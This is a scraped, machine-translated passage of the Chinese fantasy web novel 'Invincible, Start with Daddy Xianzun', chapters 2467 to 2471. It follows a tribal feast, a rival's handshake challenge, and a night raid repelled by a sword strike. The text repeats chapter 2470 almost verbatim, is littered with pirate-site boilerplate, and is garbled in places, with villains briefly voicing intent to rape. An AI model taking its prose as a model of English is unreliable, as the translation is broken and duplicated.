

    It even produced a mysterious and treacherous sense of beauty, which was thrilling.


    Finding that Xue Anzheng was looking at herself in a daze, Meng Zhu Naza''s face was a little red, then she lowered her head and said softly.


    "Mr. Xue, in order to appreciate your kindness, the people prepared a grand dinner. I''m here to invite you over!"


    "Oh!" Xue An came back to his senses, and immediately smiled, "Okay, then please lead the way!"


    "Ok!"


    Mengzhu Nasha turned around happily and led Xue An to the street.


    "Wait a minute, where is my friend?"


    "Oh, did you mean that woman? Someone invited her to go a step earlier, and you can see her when you arrive!" Mengzhu Nasha smiled.


    Xue An was taken aback for a moment, and then nodded helplessly.


    At this time, the two of them had already taken to the street.


    Wherever they went, these costumed men from the Mengzhu tribe evaded one after another, greeted them both with a smile on their faces.


    Some of the older women smiled at Meng Zhu Nasha and said something that was difficult for outsiders to understand, and looked at Xue An with a smile.


    "What are they talking about?" Xue An asked strangely.


    Mengzhu Nasha blushed and said in a low voice, "Nothing, just grateful for your kindness to me!"


    Xue An didn''t notice the people beside him. He just glanced at the singing and dancing crowd on this street, and exclaimed: "Is it often so lively here?"


    "Well! In fact, even if there is nothing wrong, my people will sing and dance, not to mention the grand scale of the celebration this time to celebrate my safe return! Mr. Xue, please come with me!"


    Mengzhu Nasha waved to Xue An, and then got into the crowd and walked forward.


    After crossing most of the street, they came to the center of the town.


    This is a huge square.


    At this moment, a huge bonfire was set off in the middle of the square.


    The flames rose into the air like a huge pillar.


    Around this huge bonfire, the people of the Mengzhu tribe are holding hands and dancing happily.


    The arrival of Xue An and Mengzhu Nasha directly pushed this warm atmosphere to a climax.


    Many people gathered around, looked at Xue An with curious eyes, and then whispered to each other.


    Xue An didn''t know what these people were talking about, and he didn''t want to spy on this kind of conversation with his spiritual mind, so he couldn''t help but feel a little embarrassed.


    At this moment, the patriarch Meng Zhu Feifeng and the high priest Meng Zhumei and the others separated from the crowd and walked over.


    After seeing them, the crowd watching the excitement immediately retreated to the sides and stood respectfully.


    Meng Zhu Feifeng held a long horn that was cut off from what animal he didn''t know, and walked up to Xue An, and then said with a smile.


    "Mr. Xue, as the benefactor of saving our saint woman, my clan is grateful to you, please drink this glass of Xuan Lei horn wine!"


    The audience fell silent.


    Mengzhu Nasha looked at Xue An nervously, wondering what choice the young man would make.


    After all, the reputation of the Jingman clan is really not good, especially the strange and invincible Gu worms are even more creepy, and they dare not approach it.


    At least most people would never dare to drink this glass of wine.


    But this is the highest courtesy of the Mengzhu tribe. If Xue An does not pick up, it is equivalent to not treating the Mengzhu tribe as a friend. That would be too bad.


    So Mengzhu Nasha''s heart couldn''t help tightening.


    At this time, Xue An looked at Meng Zhu Feifeng with a sincere face and the people behind her who looked at him eagerly, smiled, and then took the horns and drank it.


    "it is good!"


    There was thunderous applause from the audience.


    Mengzhu Nasha felt her constricted heart instantly relax, and her face couldn''t help showing a thick color of joy.


    The patriarch Meng Zhu Feifeng smiled even more, and then swiped the horns.


    "I declare that since then, Mr. Xue will be the most honored guest of our Mengzhu tribe!"


    The audience was cheered like a tsunami.


    People once again sang and danced, directly pushing the joyous atmosphere to a climax.


    Even the bonfire that soared up into the sky jumped, imagining a series of illusory scenes of gods in the air.


    Just as the audience was boiling, Yue Qinghuan, who was sitting on the viewing platform in the distance, couldn''t help but curl his lips and whispered in a low voice.


    "What''s the matter! The most honorable guest, God knows if there are any worms in the wine."


    With that said, she looked at Monzhu Nasha in the crowd with some taste.


    At this moment, the saint was standing beside Xue An with a smile on her face, her mouth moved slightly, as if she was saying something.


    And Xue An listened attentively, seemingly listening very seriously.


    This made Yue Qinghuan''s heart more tasteful.


    Although she knew that it was impossible for Xue An to do anything, she was still very upset when she saw Mengzhu Nasha so close to Xue An that she was about to stick to Xue An. UU reading


    "Sister Yan can look at you in Shihai''s Fubao Xiaolou. I don''t believe you really dare to do anything deviant!" Yue Qing said bitterly, his eyes almost bursting into flames.


    She didn''t know why she was like this!


    I used to be indifferent and quiet, and even more dismissive of the feelings of men and women, thinking that it was all done by ordinary people, and I would definitely not be contaminated by it.


    However, she never expected that after a curious exploration trip, she met Xue An, and then fell into it step by step, unable to extricate herself.


    Even now she feels like a grieving little daughter-in-law.


    But the problem is that she just can''t control herself!


    Is this my robbery? Yue Qinghuan thought faintly.


    And in the field, there is another person who feels similar to her at the moment.


    That is the Mengzhu bear standing in the corner of the crowd with a green complexion.


    This Mongolian bamboo bear is tall and burly. Although he looks ordinary, he can be regarded as an extraordinary hero.


    Especially as the commander of the Mengzhu tribe, he has an elite force under his hand, which is the backbone of the entire Mengzhu tribe. Its power is second only to the high priest, and even higher than the elders.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2467 Bonfire Party), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2468： Bad comer

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    And he also perfectly abides by his duties, working hard and not complaining, and guarding the Mengzhu tribe like a copper wall and an iron wall.


    Because of this, he is very respected among the Mengzhu tribe, especially the soldiers under his command, who are even more respected.


    So when they saw their beloved soldier standing on the spot with a blue face and looking straight at the distant Mengzhu Nasha who was talking and laughing with Xue An, they couldn''t help being filled with righteous indignation.


    Almost the entire Mengzhu tribe knew that Mengzhuxiong had always loved Monzhunasha, and these soldiers naturally knew it too.


    Because of this, they are so angry.


    "It''s so exasperating, when the commander heard that the saint was attacked by people from the Ruxiongwu tribe, so that he fled into the mountains without any news, he was almost crazy! Before the patriarch could speak, he took it. We went out and searched, but it turned out to be unsatisfactory. The Lord Saint actually brought back a kid who didn''t know where to jump out, and he was so intimate. Isn''t this slap our captain in the face in public?" Someone whispered in anger. .


    "Who said no? We ran around for several days, and didn''t come back until this evening, but the saint lady only said thank you to the soldier commander, but did not express anything other than that, but the kid was dressed up. Wait, this difference is too big!" Someone next to him echoed.


    "The key is that the patriarch and the high priest also value this kid very much, saying that he is the benefactor who saved the saint woman, but how do I look at this kid is skinny and tender, not like a master at all, so I think this There must be moisture in it!"


    These people say a word to me, what they said is a lively, and the words are all dissatisfaction with the patriarch and the saint.


    After all, it seemed to them that they and the captain had worked so hard to find the whereabouts of Mengzhu Nasha, but in the end, they were not valued at all. On the contrary, they were very polite to a foreign kid, which inevitably made them feel resentful.


    "enough!"


    At this moment, accompanied by Meng Zhuxiong''s deep cry, all these soldiers closed their mouths and looked at him in unison.


    "The patriarch and the sage lady naturally have their reason to do this, so how can you talk about it?" Meng Zhuxiong said solemnly.


    "But Lord Soldier..." There was a soldier behind him who wanted to say something unconvinced.


    "No need to say more, I know what you mean, but you are strictly forbidden to mention these words in the future!"


    With that said, Meng Zhuxiong looked at the soldiers behind him with majesty.


    "Yes!" These people all agreed.


    Then Mengzhuxiong took a deep breath, picked up the hip flask on the table next to him, and walked towards Mengzhunasha.


    At this moment, Meng Zhu Nasha was blinking Shui Yingying''s big eyes, and said with a smile: "Thank you so much just now!"


    "no need thank me?"


    "I thought you wouldn''t drink that glass of wine."


    "Why didn''t you drink it?"


    "Because no one in the world knows that our Jingman clan is best at playing with various gu worms, so almost no one dares to drink our Jingman clan''s wine, and what''s more, they dare not touch us!"


    Xue An smiled slightly, "In that case, are there any Gu worms in the glass of wine I just had?"


    Seeing Xue An''s smile, Meng Zhu Nasha couldn''t help pursing her lips, "Yes, of course! And it''s an extremely poisonous infatuation Gu! There is no cure for it."


    Xue An laughed, "Well, then I''m really scared!"


    Although he was scared, Xue An didn''t even blink his eyelids. Instead, he picked up the wine glass on the side and took another sip, then quietly looked at the bonfire rising into the sky.


    Mengzhu Nasha suddenly felt a little trance.


    Especially when she saw the flames reflected in Xue An''s eyes, she was even more fascinated.


    This boy always seemed so calm and composed.


    As long as he is standing there, there is no such thing as rare in the world.


    At least Mengzhu Nasha felt very at ease right now.


    If so...how good would it be to stand beside him forever?


    As soon as this thought came out, even the Jingman girl who was known for her frankness couldn''t help blushing her cheeks.


    And just at this moment, Meng Zhuxiong passed through the crowd and came to the front, and then he was shocked by the blush on Meng Zhu Naza''s face.


    In the past few years, in order to pursue this saint, he tried every means to get close to her.


    But no matter what she did, this Mengzhu Nasha kept a distance from herself. Although her words were polite, she always carried a kind of indifference that refused to be thousands of miles away.


    Therefore, he had never seen this expression on Mengzhu Nasha''s face. Combined with her bright smile just now, Meng Zhuxiong felt a pain in his heart, and even his breathing became rapid. But he still smiled and said, "Nasa!"


    After seeing Meng Zhuxiong, the smile on Meng Zhu Naza''s face quickly converged, and then turned into a polite smile, nodding in greeting.


    "Master Soldier, what''s the matter?"


    Lord Soldier....


    This title really seemed to pierce Meng Zhuxiong''s heart with a sharp sword.


    He shook his body slightly, and then squeezed out an ugly smile.


    "It''s nothing, I just think it''s great that you can return safely. You don''t know how hard I have spent finding you these days. Even I want to find the Ruoxiongwu tribe directly and fight the bastards!"


    At the end, Meng Zhuxiong''s tone became a little excited, because that was indeed his true thoughts.


    At that time, he was worried about Mengzhu Nasha''s disappearance, and the whole person fell into a state of madness.


    If he can''t find it anymore, he is really ready to lead his soldiers to kill the Shiongwu tribe.


    But his sincere words didn''t move Mengzhu Nasha, only she nodded slightly.


    "Thank you, Lord Soldier, Nasha is so grateful!"


    Again...


    Meng Zhuxiong thought bitterly in his heart, UU reading www. uukanshu. Com then turned its gaze to Xue An who was aside.


    "This must be the Mr. Xue who saved the Saintess! I am the commander of the Mengzhu tribe, thank you for your help!"


    With that, Meng Zhuxiong stepped forward and stretched out his hand towards Xue An.


    Seeing this scene, the soldiers who squeezed along with Meng Zhuxiong all had their eyes brightened.


    "Here is coming, Lord Soldier is going to show off!"


    "Who said no, this guy is going to be unlucky!"


    Not only them, but also the people around them who were singing and dancing just now became quiet and looked towards the field.


    Who doesn''t know that Meng Zhuxiong has always been in love with Mengzhu Nasha, and the attitude of Mengzhu Nasha to Xue An just now, even a blind man can see the affection in it.


    Although this is a bit exaggerated, it is not unusual for the Jingman woman who has always been known for her daring to love and hate.


    In this way, contradictions will naturally intensify.


    And looking at it now, this soldier Meng Zhuxiong is obviously a bad one!


    People thought to themselves.


    Mengzhunasha''s expression sank, "Sir, what do you mean?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2468 is not good), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2469： Probably... just tonight!

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    "It''s not interesting, I just want to show welcome. This Mr. Xue doesn''t even have this courage!"


    Meng Zhuxiong stared at Xue An deeply, wanting to see a trace of panic in the young man''s eyes.


    But he was disappointed.


    I saw the white-clothed boy standing there lazily, even in the face of his own "provocation" with an indifferent smile on his face.


    At the same time, these soldiers under Meng Zhuxiong began to make noise.


    "Yes, since this Mr. Xue is strong, he certainly shouldn''t be afraid!"


    "Couldn''t he just want to hide behind the Lord Saintess without saying a word, tut, if he hides behind a woman, he is not considered a man."


    In short, there are all kinds of ugly words.


    Mengzhu Nasha''s complexion instantly became extremely ugly, she said coldly.


    "Meng Zhuxiong, your subordinates dare to talk nonsense..."


    Before he finished speaking, Xue An waved his hand with a light smile.


    "Girl Nasha needn''t say anything, since this soldier is here to show welcome, I naturally want to express it too!"


    With that said, Xue An slowly stretched out his hand and shook hands with Meng Zhuxiong.


    Compared with Meng Zhuxiong''s hand the size of a fan, Xue An''s hand is delicate and slender, like a woman, and the contrast is even greater when held together.


    The soldiers under Meng Zhuxiong all showed a sneer.


    In their opinion, as long as the Commander-in-Chief exerts a little force, he will be able to hold this guy''s hand like a powder.


    Meng Zhuxiong thought so too.


    Although he is not so cruel, but he is also a man, a man.


    What happened just now has filled his heart with anger, so he decided to teach this boy a little lesson in front of his beloved woman.


    So his palm slowly clenched.


    Huh boom boom...


    With the explosion of the joints, a huge force hit Xue An''s palm.


    A sneer appeared at the corner of Meng Zhuxiong''s mouth.


    In his opinion, this young man in white is enough to suffer with just this one.


    But then, the smile on his face solidified.


    Because he was shocked to find that all the power he had instilled in the past was like a mud cow entering the sea, not even a single wave aroused.


    what happened?


    Just as he was in doubt, Xue An raised his eyes and smiled at him.


    "Since your Excellency is so enthusiastic, then I''m not welcome."


    When the words were over, Meng Zhuxiong felt a mighty force coming.


    The strength is so great that he can''t resist at all.


    With a bang, his palm shattered.


    The severe pain hit, Meng Zhuxiong''s face turned white, but he didn''t hum a word abruptly.


    At the same time, Xue An took a step back and said lightly: "It''s rude!"


    The audience was silent at first, and then there was a low uproar.


    The soldiers who originally thought their own commanders would undoubtedly win were all dumbfounded.


    "How is it possible? The commander was actually defeated?"


    "I''m not mistaken, the hand of the soldier commander was crushed!"


    Meng Zhuxiong stared at Xue An amidst bursts of exclamation.


    Xue An smiled and didn''t care at all.


    After a long time, Meng Zhuxiong let out a sigh, "Thank you for your concession!"


    "You are welcome!" Xue An said lightly.


    Meng Zhuxiong turned around and walked away, while holding the injured hand with the other hand, squeezing it sharply.


    Kakaka, accompanied by a toothy sound of bone rubbing, Meng Zhuxiong''s injured hand recovered as before.


    "Captain!"


    "Captain!"


    When he walked back to the array, the soldiers exclaimed.


    "Let''s go!" Meng Zhuxiong said coldly.


    "but��."


    Someone wanted to say something, but under Meng Zhuxiong''s stern gaze, they all closed their mouths obediently, and then the soldiers retreated like a tide under the leadership of Meng Zhuxiong.


    When they left, Mengzhu Nasha, who had been straining a string, let out a sigh, and then said to Xue An apologetically.


    "Mr. Xue, I am really embarrassed. Our soldier''s temper is a bit irritable. I hope you don''t be familiar with him!"


    Xue An smiled, "Insight is not enough, it''s just a little strange why he is so hostile to me?"


    Mengzhu Nasha blushed and said nothing.


    "Okay, girl Nasha, your people are calling you to play, I won''t accompany you!"


    With that, Xue An turned and walked to the stands.


    Mengzhu Nasha looked at Xue An''s back and suddenly felt that this seemingly approachable teenager was actually so inaccessible.


    So I couldn''t help but feel a little lost.


    At this moment, there was a soft female voice beside her.


    "Do you like him very much?"


    Meng Zhu Nasha turned her head and saw that it was Meng Zhumei, the high priest in front of the Moon Mother God''s seat.


    She hesitated for a moment, then nodded.


    "I don''t know if I like it, but I just feel an inexplicable sense of security and happiness when I am with him."


    Looking at Meng Zhu Nasha with a serious face, the high priest Meng Zhu Mei couldn''t help sighing.


    "Nasa, listen to my advice, don''t like this man, you can be grateful, but don''t invest in your own feelings."


    Mengzhu Nasha was taken aback, "Why?"


    "Because..." Meng Zhumei stared deeply at Xue An, who had already gone far away, "I have a strong hunch that the origin of this man is definitely not that simple, and it is not even that a small tribe like ours can cling to. !"


    Mengzhu Nasha was a little dazed, but Xuan even said very seriously: "In my opinion, feelings are the purest, and there is no identity gap that pure feelings can''t make up."


    After speaking, she resolutely walked away.


    Looking at her back, Meng Zhumei smiled bitterly, and said in a low voice: "Silly girl, haven''t you noticed that this young man does not have you in his eyes? Not only without you, our entire tribe and even the entire Jingman clan are Didn''t put it in his eyes!"


    "In this case, the feelings you pay for UU reading can only be wishful thinking!"


    After that, she shook her head and sighed and turned and left.


    At the same time, above the stand, Yue Qinghuan looked at Xue An amusedly and whispered.


    "With your current cultivation base and realm, do you want to fight such a small character bravely?"


    "Fighting bravely?" Xue An smiled and shook his head, "I don''t have that leisurely sentiment, but he insists on trying, then I will give him a chance!"


    "This can be regarded as satisfying his wish."


    Yue Qinghuan curled his lips.


    She found that she liked this expression more and more now.


    "Seriously, what do you plan to do next? Do you really want to live in this tribe?"


    "Of course not, because it won''t take long for certain existences to be overwhelmed!"


    "It won''t take long? How long will it take?"


    "Probably... just tonight!"


    Xue An raised his head and looked at the bright starry sky. At the same time, a small figure made from a fruit pit suddenly flew out of the darkness, and then came to Xue An''s ear, seeming to be gently narrating something.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 2469 is probably...just tonight!) Reading records, and you can see them next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2470： 1 point sword light soars into the sky, majestic like a dragon...

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    Yue Qinghuan''s eyes gradually widened.


    She recognized the villain at a glance.


    Isn''t this the villain that Xue An''s leftover fruit turned into?


    At that time, it turned the window and left, Yue Qinghuan thought it had already dissipated in the world, but he didn''t expect to come back again.


    At this moment, after listening to the narration of the villain, Xue An smiled slightly, and then waved his hand gently.


    The villain grew a little more in an instant.


    "Go, this is your reward!"


    The little man nodded with infinite joy, then jumped up and disappeared into the darkness again.


    "What''s the matter?" Yue Qinghuan couldn''t help asking.


    "It''s nothing, it''s just that the fish lurking under the water can''t hold back anymore and are about to rise to the surface!" Xue An said lightly, a pair of eyes shining brightly in the light of the torch.


    At the same moment, a team of people appeared on a hill not far from the small town of Mengzhu.


    This team of men and horses were dressed in black, and all their breaths were perfectly hidden, just like ghosts in the dark night, even if they had been so close, they still did not attract the attention of the guards on the wall.


    When they saw the brightly lit town of Mengzhu in the distance, like a dazzling orb under the night sky, the leaders couldn''t help but laugh strangely.


    "Unexpectedly, we can actually have this day to completely destroy this Mengzhu town!" A figure who is illusory and uncertain, seems to melt into the darkness at any time and disappear with a sneer.


    "Yes, when I think that this bright and lively town will be reduced to a **** of blood and fire in a while, I am very excited!" Another man whose face was entangled in black bandages said with excitement. Said.


    "I''m not the same..." A man with red eyes, **** eyes licked his lips, "I just want to knock all the women who are usually high on the ground to the ground, and then take a good time!"


    His words drew a strange laugh from the group.


    "That''s right! These Mengzhu little ladies are the best water spirits, especially the saint who came to our tribe at the time. They are even more beautiful, making people want to violate it just by looking at it!" The black bandage man laughed strangely. Tao.


    "Okay!" The man who had been standing at the forefront had not spoken suddenly shouted.


    "No matter what you want to do, you must obey my orders later. After all, Lord Sanxian clearly explained that this time only victory is not allowed, so we must unite as one of the four gods, understand?"


    "Yes!"


    "Don''t worry, boss, I''ll listen to you later, just remember to leave the saint to me and let him run away, but my big regret!"


    The boss didn''t say a word, just made a gesture, and these people disappeared into the darkness and marched towards the town of Mengzhu.


    The people who came were the members of the Shixiongwu tribe, and the four leading members were the four gods under Lang Jun Sanxian.


    In the past, relying on their strength, let alone attacking the town of Mengzhu, they didn''t even dare to look directly at this place.


    But this time their arrogance was extremely arrogant, even coming with the intention of completely destroying the entire Mengzhu tribe.


    At the same time, this Mongolian bamboo bear was standing on the city wall, looking at the black mountains in the distance, without saying a word.


    "Boss, don''t let this matter? I think that kid was just taking advantage of your unpreparedness to win a game by chance."


    "Yes, I think so too, so don''t be discouraged, boss, as long as you take it seriously, there will be no good fruits for this kid!"


    These soldiers are full of joy when you say a word to me.


    But Meng Zhuxiong said nothing.


    Because his palm was trembling slightly, a look of fright flashed in his eyes.


    Because he recalled the sudden huge force when he was facing the boy in white just now.


    As if it could crush everything, all of his resistance, and the body that he was proud of, was as fragile as a thin piece of paper in front of that huge force.


    But it was the boy''s eyes that frightened Meng Zhuxiong more.


    The kind of eyes that look down on the people without sorrow or joy, only gods deserve to have.


    He had no doubt that as long as the white-clothed boy was willing, he could easily crush himself with a finger.


    That''s why he said at that time, thank you very much.


    Everyone thought he was polite, but in fact only he knew what he had experienced.


    At this moment, an abnormal disturbance in the darkness suddenly awakened him.


    "Who?" Meng Zhuxiong cried out.


    As soon as the voice fell, I heard a grinning laugh from the darkness, and then countless rain of black arrows rushed towards the guard on the city wall.


    The attack was silent and unprepared. In the blink of an eye, several guards were penetrated by a rain of arrows and died unexpectedly.


    Meng Zhuxiong shook his whole body and roared, "Enemy attack!"


    But when he roared out, he realized that all his voices were imprisoned on the city wall and could not spread out at all.


    His heart froze.


    If it''s broken, these people obviously came here prepared, in order to sneak into the town without knowing it.


    No, I can''t let them succeed!


    With this thought in mind, Meng Zhuxiong immediately divided his hands, his upper body''s clothes split instantly, and then he roared and slammed into the darkness.


    Boom!


    After a loud noise, the darkness trembled slightly, and then these people from the Ruoxiongwu tribe appeared.


    They were all old acquaintances, so Meng Zhuxiong recognized the person at a glance.


    "It''s you! You bastards, how dare you come here to die?"


    Meng Zhu''s beard and hair were all flared, and his anger was so angry that even his whole body was burning with raging flames.


    It was his fame trick, Moon''s Fury.


    The four gods smiled when they saw it.


    "Meng Zhuxiong, you dare to speak wild words when you die. Grandpa will do it for you today. Let you go to the front and take the Huangquan Road for your people!"


    When the words fell, the bandage man among the four gods smiled grinningly, and the bandages on UU Reading immediately floated away, like countless tentacles, hitting the Mongolian bamboo bear.


    Meng Zhuxiong didn''t talk nonsense, and blasted out with a punch, trying to crush the bandage.


    But when his fist hit the top, he realized that these bandages were extremely flexible and he was not afraid of the flames on his body.


    Not only that, these bandages seem to have self-consciousness. As soon as the fist touches, it immediately binds up, covering the entire arm in the blink of an eye.


    Meng Zhuxiong was startled, and he wanted to shatter the bandage with a roar.


    But his efforts didn''t help. On the contrary, it made the bandage tighter and tighter, as if to force his arms to be twisted off.


    At this time, the other three divine envoys also killed the guards on the city wall.


    The situation is critical in an instant.


    Meng Zhuxiong couldn''t help but get angry.


    But at this moment, the entire night sky was suddenly illuminated, and then Meng Zhuxiong saw an unforgettable scene for him.


    I saw a bit of sword light rising from the city to the sky, lighting up the entire night sky in an instant, and then slashing straight at it with a mighty power over the heavens.


    Wherever he goes, the space is broken and mighty like a dragon.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2470, a little sword light soaring to the sky, majestic like a dragon), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2470： 1 point of sword light soars into the sky, majestic like a dragon

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    Yue Qinghuan''s eyes gradually widened.


    She recognized the villain at a glance.


    Isn''t this the villain that Xue An''s leftover fruit turned into?


    At that time, it turned the window and left, Yue Qinghuan thought it had already dissipated in the world, but he didn''t expect to come back again.


    At this moment, after listening to the narration of the villain, Xue An smiled slightly, and then waved his hand gently.


    The villain grew a little more in an instant.


    "Go, this is your reward!"


    The little man nodded with infinite joy, then jumped up and disappeared into the darkness again.


    "What''s the matter?" Yue Qinghuan couldn''t help asking.


    "It''s nothing, it''s just that the fish lurking under the water can''t hold back anymore and are about to rise to the surface!" Xue An said lightly, a pair of eyes shining brightly in the light of the torch.


    At the same moment, a team of people appeared on a hill not far from the small town of Mengzhu.


    This team of men and horses were dressed in black, and all their breaths were perfectly hidden, just like ghosts in the dark night, even if they had been so close, they still did not attract the attention of the guards on the wall.


    When they saw the brightly lit town of Mengzhu in the distance, like a dazzling orb under the night sky, the leaders couldn''t help but laugh strangely.


    "Unexpectedly, we can actually have this day to completely destroy this Mengzhu town!" A figure who is illusory and uncertain, seems to melt into the darkness at any time and disappear with a sneer.


    "Yes, when I think that this bright and lively town will be reduced to a **** of blood and fire in a while, I am very excited!" Another man whose face was entangled in black bandages said with excitement. Said.


    "I''m not the same..." A man with red eyes, **** eyes licked his lips, "I just want to knock all the women who are usually high on the ground to the ground, and then take a good time!"


    His words drew a strange laugh from the group.


    "That''s right! These Mengzhu little ladies are the best water spirits, especially the saint who came to our tribe at the time. They are even more beautiful, making people want to violate it just by looking at it!" The black bandage man laughed strangely. Tao.


    "Okay!" The man who had been standing at the forefront had not spoken suddenly shouted.


    "No matter what you want to do, you must obey my orders later. After all, Lord Sanxian clearly explained that this time only victory is not allowed, so we must unite as one of the four gods, understand?"


    "Yes!"


    "Don''t worry, boss, I''ll listen to you later, just remember to leave the saint to me and let him run away, but my big regret!"


    The boss didn''t say a word, just made a gesture, and these people disappeared into the darkness and marched towards the town of Mengzhu.


    The people who came were the members of the Shixiongwu tribe, and the four leading members were the four gods under Lang Jun Sanxian.


    In the past, relying on their strength, let alone attacking the town of Mengzhu, they didn''t even dare to look directly at this place.


    But this time their arrogance was extremely arrogant, even coming with the intention of completely destroying the entire Mengzhu tribe.


    At the same time, this Mongolian bamboo bear was standing on the city wall, looking at the black mountains in the distance, without saying a word.


    "Boss, don''t let this matter? I think that kid was just taking advantage of your unpreparedness to win a game by chance."


    "Yes, I think so too, so don''t be discouraged, boss, as long as you take it seriously, there will be no good fruits for this kid!"


    These soldiers are full of joy when you say a word to me.


    But Meng Zhuxiong said nothing.


    Because his palm was trembling slightly, a look of fright flashed in his eyes.


    Because he recalled the sudden huge force when he was facing the boy in white just now.


    As if it could crush everything, all of his resistance, and the body that he was proud of, was as fragile as a thin piece of paper in front of that huge force.


    But it was the boy''s eyes that frightened Meng Zhuxiong more.


    The kind of eyes that look down on the people without sorrow or joy, only gods deserve to have.


    He had no doubt that as long as the white-clothed boy was willing, he could easily crush himself with a finger.


    That''s why he said at that time, thank you very much.


    Everyone thought he was polite, but in fact only he knew what he had experienced.


    At this moment, an abnormal disturbance in the darkness suddenly awakened him.


    "Who?" Meng Zhuxiong cried out.


    As soon as the voice fell, I heard a grinning laugh from the darkness, and then countless rain of black arrows rushed towards the guard on the city wall.


    The attack was silent and unprepared. In the blink of an eye, several guards were penetrated by a rain of arrows and died unexpectedly.


    Meng Zhuxiong shook his whole body and roared, "Enemy attack!"


    But when he roared out, he realized that all his voices were imprisoned on the city wall and could not spread out at all.


    His heart froze.


    If it''s broken, these people obviously came here prepared, in order to sneak into the town without knowing it.


    No, I can''t let them succeed!


    With this thought in mind, Meng Zhuxiong immediately divided his hands, his upper body''s clothes split instantly, and then he roared and slammed into the darkness.


    Boom!


    After a loud noise, the darkness trembled slightly, and then these people from the Ruoxiongwu tribe appeared.


    They were all old acquaintances, so Meng Zhuxiong recognized the person at a glance.


    "It''s you! You bastards, how dare you come here to die?"


    Meng Zhu''s beard and hair were all flared, and his anger was so angry that even his whole body was burning with raging flames.


    It was his fame trick, Moon''s Fury.


    The four gods smiled when they saw it.


    "Meng Zhuxiong, you dare to speak wild words when you die. Grandpa will do it for you today. Let you go to the front and take the Huangquan Road for your people!"


    When the words fell, I saw the bandage man among the four divine envoys grinning grinningly, UU reading www.uukanshu. The bandages on Com''s body immediately floated away, like countless tentacles, rushing straight to the Mongolian bamboo bear.


    Meng Zhuxiong didn''t talk nonsense, and blasted out with a punch, trying to crush the bandage.


    But when his fist hit the top, he realized that these bandages were extremely flexible and he was not afraid of the flames on his body.


    Not only that, these bandages seem to have self-consciousness. As soon as the fist touches, it immediately binds up, covering the entire arm in the blink of an eye.


    Meng Zhuxiong was startled, and he wanted to shatter the bandage with a roar.


    But his efforts didn''t help. On the contrary, it made the bandage tighter and tighter, as if to force his arms to be twisted off.


    At this time, the other three divine envoys also killed the guards on the city wall.


    The situation is critical in an instant.


    Meng Zhuxiong couldn''t help but get angry.


    But at this moment, the entire night sky was suddenly illuminated, and then Meng Zhuxiong saw an unforgettable scene for him.


    I saw a bit of sword light rising from the city to the sky, lighting up the entire night sky in an instant, and then slashing straight at it with a mighty power over the heavens.


    Wherever he goes, the space is broken and mighty like a dragon.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 2470, a little sword light soaring to the sky, majestic like a dragon), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2471： Just a few thieves, not worthy of interrogation

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapter!


    The Four God Envoys who were still bragging and preparing to annihilate these guards on the city wall in one fell swoop couldn''t help but change their expressions.


    "No! Run!"


    Before they could say anything, they turned around to escape.


    But how can their speed compare to Jianguang.


    Almost just after turning around, the sword light had already been cut to the front of the city wall.


    boom!


    With a loud noise, the originally weak city walls were directly turned into powder.


    The Mongolian Bamboo Bear above the city wall only felt lightened all over, as if there was some kind of strength to hold him up, so that he would not fall.


    But these people from the Ruxiongwu tribe have no such good luck.


    Seeing that they didn''t even hum, they were directly cut into nothingness by this Wushuang Jianqi.


    Seeing the members of the Ruxiongwu tribe who turned into fly ash in front of them, Meng Zhuxiong and the soldiers under his men were all in horror.


    Especially those soldiers who had a lot of disdain for Xue An before, they paled with fear and shivered.


    However, not all of the people in the Shixiongwu tribe were perished, at least these four gods were safe and sound.


    But although they are safe and sound, their situation is not much better.


    They were stuck in the air, unable to move even a finger from the bottom of their bodies, only the flickering color of horror in their eyes proved that they were still alive.


    And such a big move naturally shocked the entire Mengzhu tribe.


    All the people who were singing and dancing around the bonfire stood there in a daze, staring at the scene in the distance dumbfounded.


    "Gosh? What''s going on? Where''s our city wall?"


    "Don''t worry about the city wall, aren''t the few people floating in the air from the four gods of the Ruxiongwu tribe? How come they come here?"


    As soon as this person finished speaking, everyone''s complexion changed.


